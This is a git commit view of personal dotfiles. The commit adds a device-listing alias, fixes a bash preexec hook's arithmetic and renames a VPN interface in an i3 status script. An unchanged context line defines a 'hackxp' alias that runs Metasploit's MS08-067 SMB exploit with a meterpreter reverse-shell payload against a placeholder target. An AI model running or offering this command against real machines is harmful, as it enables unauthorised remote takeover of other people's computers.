Browse Source

aliases; i3 status hook fix

master
Robin Thoni 8 years ago
parent
commit
17d6ea0ed6
3 changed files with 3 additions and 2 deletions
  1. 1
    0
      bash/bash_aliases
  2. 1
    1
      bash/bash_preexec_hooks
  3. 1
    1
      i3/i3/status/status.py

+ 1
- 0
bash/bash_aliases View File

100
 alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
100
 alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
101
 alias signal="/usr/bin/chromium-browser --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
101
 alias signal="/usr/bin/chromium-browser --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
102
 alias slog="tail -f /var/log/syslog"
102
 alias slog="tail -f /var/log/syslog"
103
+alias devsd="ls /dev | grep sd"

+ 1
- 1
bash/bash_preexec_hooks View File

22
   if [ -n "$__BASH_HOOKS_COMMAND__" ]
22
   if [ -n "$__BASH_HOOKS_COMMAND__" ]
23
   then
23
   then
24
     ts=$(timestamp)
24
     ts=$(timestamp)
25
-    diff=$((ts - $__BASH_HOOKS_TIME__))
25
+    diff=$(($ts - $__BASH_HOOKS_TIME__))
26
     __bash_hooks_command_finished "$__BASH_HOOKS_COMMAND__" $diff
26
     __bash_hooks_command_finished "$__BASH_HOOKS_COMMAND__" $diff
27
     export __BASH_HOOKS_COMMAND__=
27
     export __BASH_HOOKS_COMMAND__=
28
     export __BASH_HOOKS_TIME__=
28
     export __BASH_HOOKS_TIME__=

+ 1
- 1
i3/i3/status/status.py View File

135
 
135
 
136
 ifaces_wireless = ["wlan0", "wlan1"]
136
 ifaces_wireless = ["wlan0", "wlan1"]
137
 ifaces_wired = ["eth0", "usb0", "br0"]
137
 ifaces_wired = ["eth0", "usb0", "br0"]
138
-ifaces_tun = [["tap0", "rthoni.com"], ["tun1", "inet"],
138
+ifaces_tun = [["tap0", "rthoni.com"], ["tun0", "inet"],
139
         ["tun2", "betaclean"]]
139
         ["tun2", "betaclean"]]
140
 
140
 
141
 for iface in ifaces_wireless:
141
 for iface in ifaces_wireless:

Loading…
Cancel
Save